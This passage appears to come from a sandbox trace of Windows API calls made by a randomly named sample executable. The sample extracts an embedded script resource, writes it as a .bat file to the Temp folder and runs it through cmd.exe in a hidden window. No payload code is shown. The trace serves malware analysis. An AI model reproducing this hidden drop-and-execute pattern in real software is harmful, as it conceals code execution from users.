(hModule=0x400000, lpName="SETT", lpType=0xa) returned 0x42c290 [0036.266] LoadResource (hModule=0x400000, hResInfo=0x42c290) returned 0x440470 [0036.266] LockResource (hResData=0x440470) returned 0x440470 [0036.266] SizeofResource (hModule=0x400000, hResInfo=0x42c290) returned 0x30 [0036.266] FreeResource (hResData=0x440470) returned 0 [0036.266] FindResourceW (hModule=0x400000, lpName="SCRIPT", lpType=0xa) returned 0x42c280 [0036.266] LoadResource (hModule=0x400000, hResInfo=0x42c280) returned 0x43de40 [0036.267] LockResource (hResData=0x43de40) returned 0x43de40 [0036.267] SizeofResource (hModule=0x400000, hResInfo=0x42c280) returned 0x2630 [0036.267] FreeResource (hResData=0x43de40) returned 0 [0036.267] GetEnvironmentVariableW (in: lpName="TMP", lpBuffer=0x1d6ed7c, nSize=0xff | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0036.267] GetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp")) returned 0x2010 [0036.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", nBufferLength=0x1000, lpBuffer=0x18dea4, lpFilePart=0x18dea0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpFilePart=0x18dea0*="Temp") returned 0x24 [0036.267] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x424f95, cbMultiByte=4, lpWideCharStr=0x18eebc, cchWideChar=2047 | out: lpWideCharStr=".bat") returned 4 [0036.267] QueryPerformanceCounter (in: lpPerformanceCount=0x18fe98 | out: lpPerformanceCount=0x18fe98*=15658731902) returned 1 [0036.267] GetCurrentProcessId () returned 0xbfc [0036.268] GetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat")) returned 0xffffffff [0036.268] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x102, hTemplateFile=0x0) returned 0x90 [0036.269] WriteFile (in: hFile=0x90, lpBuffer=0x1d6c620*, nNumberOfBytesToWrite=0x262d, lpNumberOfBytesWritten=0x1dadb04, lpOverlapped=0x0 | out: lpBuffer=0x1d6c620*, lpNumberOfBytesWritten=0x1dadb04*=0x262d, lpOverlapped=0x0) returned 1 [0036.270] CloseHandle (hObject=0x90) returned 1 [0036.293] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe\" " [0036.293] LoadStringW (in: hInstance=0x400000, uID=0xff92, lpBuffer=0x18dec4, cchBufferMax=4096 | out: lpBuffer="cmdln") returned 0x5 [0036.293] SetEnvironmentVariableW (lpName="cmdln", lpValue="") returned 1 [0036.293] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c \"\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe\" \"", lpProcessAttributes=0x18ff64, lpThreadAttributes=0x18ff64, bInheritHandles=0, dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18ff20*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18ff10 | out: lpCommandLine="cmd.exe /c \"\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe\" \"", lpProcessInformation=0x18ff10*(hProcess=0x94, hThread=0x90, dwProcessId=0x730, dwThreadId=0x78c)) returned 1 [0036.507] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4beab000" os_pid = "0x730" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xbfc" cmd_line = "cmd.exe /c \"\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe\" \"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 2 os_tid = 0x78c [0036.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x41fd74 | out: lpSystemTimeAsFileTime=0x41fd74*(dwLowDateTime=0x69447ca0, dwHighDateTime=0x1d6e1d5)) [0036.953] GetCurrentProcessId () returned 0x730 [0036.953] GetCurrentThreadId () returned 0x78c [0036.953] GetTickCount () returned 0x1144bef [0036.953] QueryPerformanceCounter (in: lpPerformanceCount=0x41fd6c | out: lpPerformanceCount=0x41fd6c*=15727261350) returned 1 [0036.955] GetModuleHandleA (lpModuleName=0x0) returned 0x4a5e0000 [0036.955] __set_app_type (_Type=0x1) [0036.955] __p__fmode () returned 0x770331f4 [0036.956] __p__commode () returned 0x770331fc [0036.956] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a6021a6) returned 0x0 [0036.956] __getmainargs (in: _Argc=0x4a604238, _Argv=0x4a604240, _Env=0x4a60423c, _DoWildCard=0, _StartInfo=0x4a604140 | out: _Argc=0x4a604238, _Argv=0x4a604240, _Env=0x4a60423c) returned 0 [0036.957] GetCurrentThreadId () returned 0x78c [0036.957] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x78c) returned 0x60 [0036.957] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0036.957] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadUILanguage") returned 0x76d5a84f [0036.957] SetThreadUILanguage (LangId=0x0) returned 0x409 [0036.957] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0036.957] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x41fd04 | out: phkResult=0x41fd04*=0x0) returned 0x2 [0036.958] VirtualQuery (in: lpAddress=0x41fd3b, lpBuffer=0x41fcd4, dwLength=0x1c | out: lpBuffer=0x41fcd4*(BaseAddress=0x41f000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0036.958] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x41fcd4, dwLength=0x1c | out: lpBuffer=0x41fcd4*(BaseAddress=0x320000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0036.958] VirtualQuery (in: lpAddress=0x321000, lpBuffer=0x41fcd4, dwLength=0x1c | out: lpBuffer=0x41fcd4*(BaseAddress=0x321000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0036.958] VirtualQuery (in: lpAddress=0x323000, lpBuffer=0x41fcd4, dwLength=0x1c | out: lpBuffer=0x41fcd4*(BaseAddress=0x323000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0036.958] VirtualQuery (in: lpAddress=0x420000, lpBuffer=0x41fcd4, dwLength=0x1c | out: lpBuffer=0x41fcd4*(BaseAddress=0x420000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0036.958] GetConsoleOutputCP () returned 0x1b5 [0036.958] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0036.958] SetConsoleCtrlHandler (HandlerRoutine=0x4a5fe72a, Add=1) returned 1 [0036.958] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.958] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0036.959] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.959] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0036.959] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.959] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0036.959] _get_osfhandle (_FileHandle=0) returned 0x3 [0036.959] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0036.961] _get_osfhandle (_FileHandle=0) returned 0x3 [0036.961] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0036.961] GetEnvironmentStringsW () returned 0x4f2128* [0036.961] GetProcessHeap () returned 0x4e0000 [0036.961] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xad8) returned 0x4f2c08 [0036.962] FreeEnvironmentStringsW (penv=0x4f2128) returned 1 [0036.962] GetProcessHeap () returned 0x4e0000 [0036.962] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4) returned 0x4f18c8 [0036.962] GetEnvironmentStringsW () returned 0x4f2128* [0036.962] GetProcessHeap () returned 0x4e0000 [0036.962] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xad8) returned 0x4f36e8 [0036.962] FreeEnvironmentStringsW (penv=0x4f2128) returned 1 [0036.962] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41ec74 | out: phkResult=0x41ec74*=0x68) returned 0x0 [0036.963] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x0, lpData=0x41ec80*=0x0, lpcbData=0x41ec78*=0x1000) returned 0x2 [0036.963] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x4, lpData=0x41ec80*=0x1, lpcbData=0x41ec78*=0x4) returned 0x0 [0036.963] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x0, lpData=0x41ec80*=0x1, lpcbData=0x41ec78*=0x1000) returned 0x2 [0036.963] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x4, lpData=0x41ec80*=0x0, lpcbData=0x41ec78*=0x4) returned 0x0 [0036.963] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x4, lpData=0x41ec80*=0x40, lpcbData=0x41ec78*=0x4) returned 0x0 [0036.963] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x4, lpData=0x41ec80*=0x40, lpcbData=0x41ec78*=0x4) returned 0x0 [0036.963] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x0, lpData=0x41ec80*=0x40, lpcbData=0x41ec78*=0x1000) returned 0x2 [0036.963] RegCloseKey (hKey=0x68) returned 0x0 [0036.963] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41ec74 | out: phkResult=0x41ec74*=0x68) returned 0x0 [0036.963] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x0, lpData=0x41ec80*=0x40, lpcbData=0x41ec78*=0x1000) returned 0x2 [0036.963] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x4, lpData=0x41ec80*=0x1, lpcbData=0x41ec78*=0x4) returned 0x0 [0036.963] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x0, lpData=0x41ec80*=0x1, lpcbData=0x41ec78*=0x1000) returned 0x2 [0036.963] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x4, lpData=0x41ec80*=0x0, lpcbData=0x41ec78*=0x4) returned 0x0 [0036.963] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x4, lpData=0x41ec80*=0x9, lpcbData=0x41ec78*=0x4) returned 0x0 [0036.964] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x4, lpData=0x41ec80*=0x9, lpcbData=0x41ec78*=0x4) returned 0x0 [0036.964] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41ec7c, lpData=0x41ec80, lpcbData=0x41ec78*=0x1000 | out: lpType=0x41ec7c*=0x0, lpData=0x41ec80*=0x9, lpcbData=0x41ec78*=0x1000) returned 0x2 [0036.964] RegCloseKey (hKey=0x68) returned 0x0 [0036.964] time (in: timer=0x0 | out: timer=0x0) returned 0x5ff1c850 [0036.964] srand (_Seed=0x5ff1c850) [0036.964] GetCommandLineW () returned="cmd.exe /c \"\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe\" \"" [0036.964] GetCommandLineW () returned="cmd.exe /c \"\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe\" \"" [0036.965] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a605260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.965] GetProcessHeap () returned 0x4e0000 [0036.965] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f2128 [0036.965] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4f2130, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0036.966] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0036.966] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0036.966] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0036.966] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0036.966] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0036.966] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0036.966] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0036.966] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0036.966] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0036.966] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0036.966] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0036.966] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0036.966] GetProcessHeap () returned 0x4e0000 [0036.966] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f2c08 | out: hHeap=0x4e0000) returned 1 [0036.966] GetEnvironmentStringsW () returned 0x4f2340* [0036.966] GetProcessHeap () returned 0x4e0000 [0036.966] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xaf0) returned 0x4f4cc0 [0036.967] FreeEnvironmentStringsW (penv=0x4f2340) returned 1 [0036.967] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.967] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0036.967] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0036.967] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0036.967] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0036.967] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0036.967] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0036.967] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0036.967] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0036.967] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0036.967] GetProcessHeap () returned 0x4e0000 [0036.967] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x54) returned 0x4f17f8 [0036.967] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41fa40 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.967] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x41fa40, lpFilePart=0x41fa3c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41fa3c*="Desktop") returned 0x25 [0036.967] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0036.967] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41f7bc | out: lpFindFileData=0x41f7bc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x4f57b8 [0036.968] FindClose (in: hFindFile=0x4f57b8 | out: hFindFile=0x4f57b8) returned 1 [0036.968] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41f7bc | out: lpFindFileData=0x41f7bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4e0ff0 [0036.968] FindClose (in: hFindFile=0x4e0ff0 | out: hFindFile=0x4e0ff0) returned 1 [0036.968] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0036.968] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x41f7bc | out: lpFindFileData=0x41f7bc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x60b79540, ftLastAccessTime.dwHighDateTime=0x1d6e1d5, ftLastWriteTime.dwLowDateTime=0x60b79540, ftLastWriteTime.dwHighDateTime=0x1d6e1d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x4e0ff0 [0036.968] FindClose (in: hFindFile=0x4e0ff0 | out: hFindFile=0x4e0ff0) returned 1 [0036.968] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0036.968] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0036.968] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0036.968] GetProcessHeap () returned 0x4e0000 [0036.968] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4cc0 | out: hHeap=0x4e0000) returned 1 [0036.969] GetEnvironmentStringsW () returned 0x4f41c8* [0036.969] GetProcessHeap () returned 0x4e0000 [0036.969] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xb44) returned 0x4f4d18 [0036.969] FreeEnvironmentStringsW (penv=0x4f41c8) returned 1 [0036.969] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a605260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.969] GetProcessHeap () returned 0x4e0000 [0036.969] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f17f8 | out: hHeap=0x4e0000) returned 1 [0036.969] GetProcessHeap () returned 0x4e0000 [0036.969] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400e) returned 0x4f5868 [0036.969] GetProcessHeap () returned 0x4e0000 [0036.969] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xf4) returned 0x4e0ff0 [0036.969] GetProcessHeap () returned 0x4e0000 [0036.969] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x4f9880 [0036.970] GetProcessHeap () returned 0x4e0000 [0036.970] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x4fd890 [0036.970] GetProcessHeap () returned 0x4e0000 [0036.970] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0036.970] GetConsoleOutputCP () returned 0x1b5 [0036.971] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0036.971] GetUserDefaultLCID () returned 0x409 [0036.972] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a604950, cchData=8 | out: lpLCData=":") returned 2 [0036.972] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x41fb80, cchData=128 | out: lpLCData="0") returned 2 [0036.972] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x41fb80, cchData=128 | out: lpLCData="0") returned 2 [0036.972] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x41fb80, cchData=128 | out: lpLCData="1") returned 2 [0036.972] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a604940, cchData=8 | out: lpLCData="/") returned 2 [0036.972] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a604d80, cchData=32 | out: lpLCData="Mon") returned 4 [0036.972] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a604d40, cchData=32 | out: lpLCData="Tue") returned 4 [0036.972] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a604d00, cchData=32 | out: lpLCData="Wed") returned 4 [0036.972] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a604cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0036.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a604c80, cchData=32 | out: lpLCData="Fri") returned 4 [0036.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a604c40, cchData=32 | out: lpLCData="Sat") returned 4 [0036.973] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a604c00, cchData=32 | out: lpLCData="Sun") returned 4 [0036.973] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a604930, cchData=8 | out: lpLCData=".") returned 2 [0036.973] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a604920, cchData=8 | out: lpLCData=",") returned 2 [0036.973] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0036.974] GetProcessHeap () returned 0x4e0000 [0036.974] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x20c) returned 0x4f2e90 [0036.974] GetConsoleTitleW (in: lpConsoleTitle=0x4f2e90, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe") returned 0x3a [0036.974] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0036.975] GetProcAddress (hModule=0x76d30000, lpProcName="CopyFileExW") returned 0x76d63b92 [0036.975] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d [0036.975] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleInputExeNameW") returned 0x76d5a79d [0036.976] GetProcessHeap () returned 0x4e0000 [0036.976] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0036.976] GetProcessHeap () returned 0x4e0000 [0036.976] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0036.978] _wcsicmp (_String1="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\"", _String2=")") returned -7 [0036.978] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\"") returned 68 [0036.978] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\"") returned 68 [0036.978] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\"") returned 71 [0036.978] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat\"") returned 71 [0036.978] _wcsicmp (_String1="REM", 